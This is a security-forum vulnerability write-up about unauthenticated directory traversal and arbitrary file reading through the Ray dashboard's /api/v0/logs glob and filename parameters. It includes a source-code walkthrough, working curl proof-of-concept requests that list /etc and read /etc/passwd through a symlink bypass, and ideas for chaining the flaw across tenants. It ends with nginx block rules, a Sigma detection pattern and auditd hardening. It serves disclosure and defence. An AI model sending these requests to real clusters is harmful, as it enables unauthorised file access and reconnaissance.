奇安信攻防社区-一个 glob 通配符，读出 Ray 集群上的任意文件

一个 glob 通配符，读出 Ray 集群上的任意文件

Ray 2.56.0 的 dashboard 日志接口 glob 参数未校验路径，未认证攻击者可目录遍历列出任意目录；配合日志目录内 symlink（实测 777 权限）可读取任意文件内容。文章源码走读三条根因，五步复现，并给出攻击面猜想与防御方案。

前言
--

Ray 是什么，先给不熟的人一句话：开源的分布式 AI 计算框架，干的事情是让"一段 Python 代码拆成几百份、扔到几百台机器上并行跑"。大模型训练、强化学习、推理服务，背后几乎都有它的影子。OpenAI 早期大规模训练用的就是它，这话是官方自己说的，不是秘密。

这样一个 AI 基础设施的明星项目，其 dashboard 接口默认监听所有网卡、默认没有任何认证。这个"默认"在过去两年里已经被捅出过不止一次：2023 年一连串未认证的 RCE 和文件读取漏洞被公开，dashboard 的攻击面从此成了公开的秘密。

最近又有一个新的：`/api/v0/logs` 接口的 glob 参数可以目录穿越，未认证远程攻击者直接列出服务器任意目录的文件；配合一点条件，还能把任意文件的内容读出来。没有 CVE 编号（提交时还在等 CNA 分配），修复补丁提交了但还在评审。

我在本地把整条链复现了一遍：环境是 Docker 起的 Ray 2.56.0，攻击全部来自未认证的 HTTP 请求。这篇文章按"背景 → 根因 → 代码走读 → 复现 → 攻击面猜想 → 防御"展开。

一、Ray 的 dashboard：AI 基础设施里默认裸奔的接口
---------------------------------

先看 Ray 部署后的默认状态，这决定了攻击面的价值。

Ray 集群启动后，会拉起一个 dashboard 进程，默认监听 `0.0.0.0`——也就是所有网卡。它提供 Web UI 和一组 JSON API（/api/v0/ 开头），供用户查看集群状态、提交 job、看日志。这些 API 的设计前提是"集群内部使用"，所以没有认证。设计文档里写着"安全隔离应靠网络层实现"

这个"我不管"在过去几年里反复兑现：

2023 年公开的 CVE-2023-6019，未认证的远程代码执行——dashboard 的 job 提交接口不需要认证就能往集群提交任务，配合反序列化链直接执行命令。同期还有 CVE-2023-6020，未认证的文件读取。这两个漏洞的组合拳，让"Ray 集群裸奔"变成了红队圈的标准知识点。

在那之后 Ray 补了一批洞，但攻击面没有消失——dashboard API 依然无认证，只是具体漏洞换了一批。这次的问题出在 logs 接口。

logs 接口的架构形态值得先交代清楚，它决定了攻击数据流的走向。HTTP 请求到达 dashboard（head 节点）后，由 `state_head.py` 的路由处理；日志文件实际存在各节点的 agent 进程侧，所以 dashboard 通过 gRPC 把请求转发到目标节点的 agent，agent 在本地做文件系统操作，再把结果返回。也就是说，**攻击者控制的 glob/filename 参数，要穿过 dashboard 的解析、gRPC 的序列化、agent 的文件操作，全程都是透传**——任何一层做校验都能拦住，但任何一层都没做。

logs 接口是干什么的：展示集群各节点的日志文件。攻击者视角下，它就是"一个未认证的文件浏览接口"——问题是浏览的范围该不该受限制。Ray 的设计意图是只允许看日志目录，但实现上没拦住。

二、漏洞核心：glob 参数就是攻击者可控的文件过滤器
---------------------------

漏洞端点是 `GET /api/v0/logs`，两个关键参数：

- `node_id`：指定哪台节点
- `glob`：指定文件匹配模式

glob 是文件系统的通配符匹配语法，`*` 匹配任意字符，`../` 是路径向上跳。接口拿到 glob 后，在节点日志目录里做 `path.glob(glob)` 匹配，把命中的文件列出来。

正常的用法是这样：

```php
GET /api/v0/logs?node_id=<id>&amp;glob=raylet*
→ {"raylet": ["raylet.err", "raylet.out"]}
```

攻击者的用法是这样：

```php
GET /api/v0/logs?node_id=<id>&amp;glob=../../../../etc/*
→ /etc 下 70 多个文件和目录，全部列出
```

区别只有一点：glob 里多了几个 `../`。而服务端拼路径的时候，没有做任何"必须在日志目录内"的校验——`path.glob("../../../../etc/*")` 从日志目录出发一路往上跳，直接命中 `/etc`。

这个接口还有个内容读取的兄弟端点：`GET /api/v0/logs/file?node_id=<id>&amp;filename=<文件名>`，返回指定文件的内容。这个端点倒是有一道路径校验——但校验本身有漏洞，这是后面代码走读的重点。

先把攻击请求的全貌摆出来（PoC 请求结构）：

```php
GET /api/v0/logs?node_id=<node_id>&amp;glob=../../../../etc/*
→ 目录遍历：列出任意目录文件（无认证，已实测）

GET /api/v0/logs/file?node_id=<node_id>&amp;filename=<log目录内相对路径>
→ 内容读取：默认被路径校验拦截，但可通过 symlink 绕过（已实测）
```

三、源码走读：三条根因
-----------

漏洞的代码层面证据，全部在容器里的 Ray 源码里，逐行看。

### 根因一：列表端点的 glob 直接进文件系统

节点侧处理 glob 的代码在 `ray/dashboard/modules/log/log_agent.py`（源码节选，2.56.0）：

```python
# ray/dashboard/modules/log/log_agent.py - LogService.ListLogs (gRPC)
path = Path(self._dashboard_agent.log_dir)
if not path.exists():
    raise FileNotFoundError(...)

log_files = []
for p in path.glob(request.glob_filter):        # ← 攻击者可控的 glob 直接匹配
    log_files.append(str(p.relative_to(path)) + ("/" if p.is_dir() else ""))
return reporter_pb2.ListLogsReply(log_files=log_files)
```

`request.glob_filter` 来自 HTTP 请求的 `glob` 参数，一路透传到 `path.glob()`。`pathlib.Path.glob()` 的语义就是"以这个目录为起点做文件系统匹配"——`../` 会让它跳出目录，Python 标准库不做任何限制。**没有任何一行代码检查 glob 展开后的路径是否还在日志目录内。**

这里有个细节很说明问题：结果列表里用的是 `p.relative_to(path)`——只对"结果"做相对化，不对"匹配范围"做限制。相当于门卫只给出门的人盖了章，但没拦任何人进门。

### 根因二：内容端点的校验拦不住 symlink

内容端点 `_resolve_filename` 的完整实现（源码节选）：

```python
# ray/dashboard/modules/log/log_agent.py - _resolve_filename
@classmethod
def _resolve_filename(cls, root_log_dir: Path, filename: str) -> Path:
    if not Path(filename).is_absolute():
        filepath = root_log_dir / filename
    else:
        filepath = Path(filename)

# 刻意设计：允许相对路径包含指向 root_log_dir 之外的 symlink，
    # 所以用 os.path.abspath 而不是 Path.resolve()——
    # 因为 os.path.abspath 不解析 symlink。
    filepath = Path(os.path.abspath(filepath))

if not filepath.is_file():
        raise FileNotFoundError(f"A file is not found at: {filepath}")

try:
        filepath.relative_to(root_log_dir)       # ← 唯一的防护，只比字符串
    except ValueError as e:
        raise FileNotFoundError(f"{filepath} not in {root_log_dir}: {e}")

# 完全解析路径后返回（包括跟随 symlink）
    return filepath.resolve()
```

把这条链拆开看：

第一，路径拼接。filename 相对路径时拼到日志目录下，绝对路径时直接用。`os.path.abspath` 把 `../../` 归一化。

第二，防护。`filepath.relative_to(root_log_dir)` 检查路径串是否在日志目录内。直接传 `../../../../etc/passwd`，归一化后是 `/etc/passwd`，不在日志目录下，被拦。

第三，绕过。注释自己写明了设计意图："允许相对路径包含指向 root\_log\_dir 之外的 symlink，所以用 abspath 而不是 resolve"。也就是说：**校验刻意不解析 symlink，但函数最后 `filepath.resolve()` 把 symlink 解析成真实路径返回**。于是只要日志目录里存在指向 `/etc/passwd` 的 symlink，传入 `filename=leak_link`——abspath 后还是 `logs/leak_link`，字符串校验通过；resolve 后变成 `/etc/passwd`，`open()` 读取的就是外部文件。

防护管的是"路径字符串长什么样"，不管"文件最终指向哪里"。这是典型的"字符串校验 ≠ 文件系统语义"问题。

这个函数被谁调用、返回值去了哪，把调用点也贴出来，链才完整（同文件，StreamLog 的 gRPC 处理器）：

```python
# ray/dashboard/modules/log/log_agent.py - LogService.StreamLog (gRPC)
try:
    filepath = self._resolve_filename(
        Path(self._dashboard_agent.log_dir), request.log_file_name
    )
except FileNotFoundError as e:
    await context.send_initial_metadata([[log_consts.LOG_GRPC_ERROR, str(e)]])
else:
    with open(filepath, "rb") as f:          # ← resolve 之后的路径直接 open
        ...
```

`_resolve_filename` 的返回值不做任何二次校验，直接 `open()`。前面校验用的是"不解析 symlink 的字符串"，这里读取用的是"解析完 symlink 的真实路径"——两段代码用的不是同一个文件概念，漏洞就藏在这个缝隙里。

开发者自己其实知道这里没把关。同文件的另一个函数里躺着这条注释：

```python
# ray/dashboard/modules/log/log_manager.py - resolve_filename
# TODO(rickyx): We should make sure we do some sort of checking on the log
# filename
```

"我们得确保对 log filename 做点检查"——写完功能，检查留给了 TODO。

### 根因三：全程无认证

从 HTTP 入口到文件读取，没有任何认证环节。`state_head.py` 里 logs 相关的两个路由都没有鉴权装饰器，`node_id` 只是路由寻址参数，不是身份凭据。

### source-sink 链路

把整条链按四要素串一遍：

```php
入口（攻击者可控点）：GET /api/v0/logs 的 glob / filename 查询参数
  ↓
传递 1：state_head.py 提取 query 参数 → 透传 LogsManager
  ↓
传递 2：gRPC 转发到节点 agent → path.glob(glob_filter)（无路径校验）
  ↓
汇聚点（权限边界）：agent 进程的文件系统访问权
  ↓
影响：任意目录枚举（列表端点）+ 任意文件读取（内容端点 + symlink）
```

边界在"agent 进程的文件系统访问权"这一层——agent 以 ray 用户跑，能读什么，攻击者就能读什么。

**一句话：三条根因——列表端点 glob 无校验、内容端点校验不解析 symlink、全程无认证——前两条在源码里都有实打实的代码证据，第三条是设计决定。**

四、复现：五步走通
---------

环境：Docker Desktop 4.85（WSL2 后端），镜像 `rayproject/ray:2.56.0`，head 节点容器映射 8265（dashboard）端口。攻击全部用 curl 打 `http://127.0.0.1:8265`，未认证。

### 步骤一：环境就绪，拿到 node\_id

起容器、等 dashboard 就绪、拿 node\_id：

```bash
docker run -d --name ray-vuln --shm-size=4g -p 6379:6379 -p 8265:8265 \
  rayproject/ray:2.56.0 ray start --head --dashboard-host 0.0.0.0 --block
```

![image-20260816113446243.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/08/attach-4f4bc6f918e802d4024d0d07776543e6ed7ab4d2.png)

dashboard 的 `/api/v0/nodes` 返回节点列表，里面带 `node_id`。这一步证明两件事：dashboard API 未认证直接可访问（连 token 都不需要）；`node_id` 是唯一需要的"寻址信息"，且它本身不是秘密——任何能访问 dashboard 的人都能拿到。

顺带说明为什么 `--dashboard-host 0.0.0.0`：Ray 默认配置就是这样绑定的，我显式写出来只是把默认行为摆在明面上。生产环境里相当多的 Ray 集群就是这个状态——端口开着，谁都能连。

```bash
curl -s http://127.0.0.1:8265/api/v0/nodes
# → data.result.result[0].node_id = de5ec95debadfa30c2fade3640380e460549a32632fb9789fc7f987b
```

![image-20260816113429411.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/08/attach-a143074ede57e912d5536eed54f0cafe0412776d.png)

### 步骤二：正常 glob，验证基线

用正常范围请求一次，建立"接口本来长什么样"的基线：

```bash
curl -s -G "http://127.0.0.1:8265/api/v0/logs" \
  --data-urlencode "node_id=<node_id>" --data-urlencode "glob=raylet*"
# → {"raylet": ["raylet.err", "raylet.out"]}
```

![image-20260816113729240.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/08/attach-722ea42fa4d9ed1299d34e71457623987e5714b1.png)  
这一步证明：接口行为符合预期——glob 被当作日志目录下的文件匹配模式，返回的是日志文件清单。这个基线很重要，下一步的穿越才有参照系：同一个接口、同样的参数结构，只改 glob 内容。

同时注意一个细节：`glob=raylet*` 匹配到的是 `raylet.err` 和 `raylet.out` 两个文件，响应把它们按组件名（`raylet`）分组。这说明服务端做了"文件名 → 组件"的分类逻辑，这个分类不影响攻击，但能看出接口的设计意图是"给用户看日志清单"——设计意图和实际能力之间，就是漏洞存在的空间。

### 步骤三：穿越 glob，列出 /etc

把 glob 换成 `../../../../etc/*`：

```bash
curl -s -G "http://127.0.0.1:8265/api/v0/logs" \
  --data-urlencode "node_id=<node_id>" --data-urlencode "glob=../../../../etc/*"
# → 返回 /etc 下 70+ 个文件/目录：
#   ../../../../etc/os-release, ../../../../etc/passwd, ../../../../etc/environment,
#   ../../../../etc/hosts, ../../../../etc/group ...
```

这一步证明目录遍历成立：glob 里的 `../` 一路向上跳出了日志目录，接口把 `/etc` 的内容当"日志"列了出来。注意响应用的是相对路径 `../../../../etc/passwd` 这种形式——说明服务端自己也清楚文件在目录外，只是没拦。

这里值得停下来想一下信息量：`/etc/environment`、`/etc/passwd`、`/etc/hosts`、`/etc/ssh` 目录——集群节点的系统配置、账号、网络拓扑信息，一次请求全拿到。对渗透来说，这一步本身就是有效的情报收集。

![image-20260816113815057.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/08/attach-fead2d3a051938a67bc12f234c9ba532b917cf73.png)

### 步骤四：内容端点直接穿越，被挡

列表能看，内容能不能读？直接试内容端点：

```bash
curl -s -G "http://127.0.0.1:8265/api/v0/logs/file" \
  --data-urlencode "node_id=<node_id>" --data-urlencode "filename=../../../../etc/passwd"
# → HTTP 500，响应体是路径校验的拒绝信息
```

这一步证明：内容端点确实有一道路径校验（`relative_to`），直接穿越被拒。**把防护画出来**：边界是"路径字符串必须在日志目录内"。这一步的价值是确认边界的存在和形状——只有知道防护拦什么，才知道绕过什么。

![image-20260816113911876.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/08/attach-69b6ee15e84975f2c3559c4bdfba4e269dd49d00.png)

### 步骤五：symlink 绕过，读出 /etc/passwd

根据源码走读的结论：校验不解析 symlink，但最终读取会解析。在日志目录里放一个指向 `/etc/passwd` 的 symlink，然后请求它：

```bash
# 在日志目录创建 symlink（本实验用 docker exec 模拟"能写日志目录的进程"）
docker exec ray-vuln sh -c "ln -sf /etc/passwd /tmp/ray/session_latest/logs/leak_link"

# 通过 symlink 读取
curl -s -G "http://127.0.0.1:8265/api/v0/logs/file" \
  --data-urlencode "node_id=<node_id>" --data-urlencode "filename=leak_link"
# → 完整输出 /etc/passwd：root:x:0:0:root:/root:/bin/bash ...
```

![image-20260816114026454.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/08/attach-3dcfea808dd8720ed5d005608211af1602883f7c.png)

这一步证明 LFI 成立：`filename=leak_link` 的路径串在日志目录内，字符串校验通过；`resolve()` 把 symlink 解析成 `/etc/passwd`，`open()` 读出了外部文件内容。防护管住了路径串，没管住文件本身。

我在复现时顺手查了日志目录的权限：`drwxrwxrwx`（777）。也就是说，**任何能在节点上执行代码的进程（比如通过 job 提交跑起来的任务）都能往日志目录放 symlink**——"需要 symlink"这个前提，在 Ray 的多租户场景里并不难满足。这一点后面攻击面猜想部分展开。

再解释一下这一步"证明什么"的完整逻辑，因为它是整条链最关键的一环：

其一，它证明防护可以被绕过——`relative_to` 校验在 symlink 面前失效，这是代码走读的预测在真实环境里得到验证，属于"从源码到现象的闭环"。

其二，它证明绕过的前提是可获得的——symlink 只需要"日志目录可写"，而这个目录是 777。我特意在容器里验证了 ray 用户的写权限（`touch` 成功），所以这不是"理论上可行"，是"在当前部署形态下实际可行"。

其三，它界定了这个漏洞的真实边界：攻击者能读什么，取决于 agent 进程（ray 用户）能读什么——系统的配置文件、环境变量、其他租户的 job 文件，都在这个范围内。

五步走完，结论是闭环的：基线正常 → 穿越成立 → 防护确认 → 绕过成功。每一步的截图就是证据链。

把五步的证据价值总结成一张对照表，方便对照截图理解：

| 步骤 | 观测到的现象 | 这一步证明了什么 |
|---|---|---|
| 步骤一 | nodes 接口返回 node\_id | API 无认证可触达，攻击面成立 |
| 步骤二 | glob=raylet\* 返回日志清单 | 接口行为基线正常，glob 直接映射文件系统 |
| 步骤三 | glob=../../../../etc/\* 返回 /etc 清单 | 目录遍历成立，路径拼接无校验 |
| 步骤四 | filename=../../../../etc/passwd 被拒 | 内容端点有独立防护，边界在"路径字符串" |
| 步骤五 | filename=leak\_link 读出 passwd | LFI 成立，防护不拦 symlink 目标 |

五步之间是递进关系：步骤二给步骤三提供基线，步骤四给步骤五提供对照。单独看任何一步都可能被当成"接口特性"，连起来才是漏洞证据链。

五、攻击面猜想：同源 pattern 与新组合
-----------------------

复现完成，讲几个我自己的观察和推测。以下猜想除注明外均未在本实验验证，属于基于已验证事实的推理。

### 猜想一：777 日志目录让"需要 symlink"成为空话

代码走读时我验证过：`/tmp/ray/session_*/logs` 的权限是 777，任何进程可写。Ray 的多租户共享集群里，租户之间通过 job 隔离——但日志目录是共享的。**一个租户提交的 job 写一个 symlink，另一个未认证的攻击者用 logs API 读任意文件**，这两步之间没有任何关联，也不需要同一身份。

基于已验证事实（日志目录 777 + API 无认证）的推测：在真实的多租户 Ray 集群里，logs 端点的实际危害等级高于"需要本地 symlink 的低危"。任何能执行代码的输入面（job、runtime env 钩子、甚至被攻破的 worker）都能变成文件读取的跳板。

### 猜想二：logs API 泄露的信息本身可被利用

列表端点能枚举 `/etc`、`/home`、`/proc` 下的文件结构——如果换几个 glob 组合，能拼出节点文件系统的完整画像。`/proc/*/environ` 这种路径如果能列出来，文件名本身就包含进程信息。加上"无认证"这个前提，logs 端点是一台 AI 集群的免费情报接口。这条未验证，但路径可枚举已经实测。

### 猜想三：与 job 提交接口的组合

CVE-2023-6019 的修复堵住了 job 提交的直接 RCE，但 dashboard 的 job 接口依然无认证（未验证当前版本的实际状态）。如果 job 提交仍可触达，完整链是：未认证提交 job → job 在日志目录放 symlink → 未认证 logs API 读任意文件。攻击者甚至不需要控制任何集群身份。

### 同源 pattern 排查

我在 2.56.0 源码里 grep 了 dashboard 模块中所有用户可控的路径/glob 参数——`glob_filter` 只在 logs 端点出现（state\_head.py 第 171 行）。这说明这次的问题没有大面积复制粘贴的"同款漏洞"，但也意味着**修复只针对这一个端点**，dashboard 的其他无认证接口（state API、jobs API、runtime envs API）仍在这个"默认裸奔"的设计里。基于已验证事实（多个 /api/v0/ 端点均无鉴权装饰器）的推测：这些接口各自是独立的攻击面，值得逐个审。

六、怎么防
-----

### 网络层：dashboard 不暴露

最有效的防御是让攻击者碰不到。Ray dashboard（8265）和 GCS（6379）只绑定内网/管理网，生产环境绝不对公网或办公网开放。这是 Ray 官方设计文档自己推荐的隔离方式，也是唯一能挡住"无认证"这个根因的手段。

### 检测：请求特征

日志 API 的目录遍历请求有明确特征：glob 或 filename 参数里带 `../`。在反向代理或 WAF 侧加规则（以 nginx 为例）：

```nginx
# 拦截 logs API 的目录穿越请求
location /api/v0/logs {
    if ($arg_glob ~ "\.\./") { return 403; }
    if ($arg_filename ~ "\.\./") { return 403; }
    proxy_pass http://ray_dashboard:8265;
}
```

SIGMA 风格的检测规则，可直接转成 SIEM 查询（示例，字段名按实际日志格式调整）：

```yaml
title: Ray Dashboard Logs API Directory Traversal
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains:
      - "/api/v0/logs"
      - "glob=..%2f"
      - "filename=..%2f"
  condition: selection
level: high
```

注意 `../` 的 URL 编码变体（`..%2f`、`..%2F`、双编码）都要覆盖——攻击者会逐字符试编码绕过。

### 节点侧：监控 symlink 与异常文件读取

symlink 是 LFI 的触发前提，在节点上直接监控日志目录的 symlink 创建行为，比在代理层拦截更早一步。Linux 下用 auditd 一行搞定：

```bash
# /etc/audit/rules.d/ray-logs.rules
-w /tmp/ray/session_*/logs -p wa -k ray_logdir_symlink
```

`ausearch -k ray_logdir_symlink -ts recent` 可以列出日志目录的所有写入动作。正常状态下日志目录的写入来源只有 raylet 和 agent，出现陌生进程的写入或 symlink 创建，就是利用链的前兆。K8s 部署的 Ray 集群可以用 Falco 的 symlink 创建规则做同样的监控。

### 配置：日志目录权限收敛

把日志目录从 777 收掉，symlink 利用的前提就没了：

```bash
# 在 Ray head 节点/镜像里配置
chmod 750 /tmp/ray/session_latest/logs
```

Ray 自身不会重置这个权限（未验证重启后是否保持，需要实际环境确认），但至少可以在启动脚本里加上。另外，让 job 的写入面不与日志目录共享——如果日志目录 777 是 Ray 的依赖（比如 dashboard agent 和 worker 都要写），那就从"谁能写"上做文章：容器化部署时每个 worker 独立的可写目录。

### 自查：你的集群暴露了吗

一条命令确认 dashboard 是否对公网暴露（从外部网络执行）：

```bash
# 从集群外部探测 8265/6379 是否可达
nc -zv <ray_host> 8265 &amp;&amp; echo "dashboard 暴露在公网!"
nc -zv <ray_host> 6379 &amp;&amp; echo "GCS 暴露在公网!"
```

如果探测失败但集群内部可用，检查一下是不是防火墙挡的——网络隔离只有"真的挡在中间"才算数，云安全组规则比本机防火墙更可靠。另外确认集群初始化时有没有设置 `--dashboard-host 127.0.0.1`（只本机可访问），这是 Ray 官方支持的配置项，也是最小暴露面的做法。

### 跟进修复

PR #64701 提交了修复但截至复现时仍未合入。生产环境部署前检查 Ray 版本，合入修复的版本发布后尽快升级。修复思路大概率是给 glob 展开结果加 relative\_to 校验（与内容端点同款），但按这次的教训，**校验必须落在 resolve 之后、open 之前**，否则又会是"字符串通过、文件不通过"。

七、反思：AI 基础设施的信任边界
-----------------

这个漏洞放在 Ray 的历史里看，只是 dashboard 攻击面序列里新的一环。真正值得想的不是这一个洞，是为什么这类洞总在 AI 基础设施里反复出现。

AI 框架的迭代速度太快。功能优先于安全是这些项目的共同节奏——dashboard 无认证是因为"内部系统"，logs 目录 777 是因为"日志人人都要看"，glob 不校验是因为"没人会传 ../"。每个决定单独看都有道理，叠在一起就是攻击面。

基于已验证事实（本漏洞修复待合入、dashboard 无认证设计延续至今）的推测：Ray 之后还会陆续出现 dashboard 攻击面的新问题。不是 Ray 特别差，是"默认裸奔 + 快速迭代"的组合天然产洞。防御方唯一能做的，是把这类系统的部署边界当成安全边界来管理——网络隔离不是可选项，是必选项。

顺带说一句，glob 穿越这种问题在文件浏览类接口里是常客：任何"把用户输入拼进 glob/正则/路径"的接口都是同一个模式。审代码的时候看到 `glob(`、`Path(`、`os.path.join(` 接了用户输入，就该停下来多问一句：这个路径的边界在哪？

发表于 2026-09-18 09:00:00
阅读 ( 1002 )
分类：漏洞分析

一个 glob 通配符，读出 Ray 集群上的任意文件

0 条评论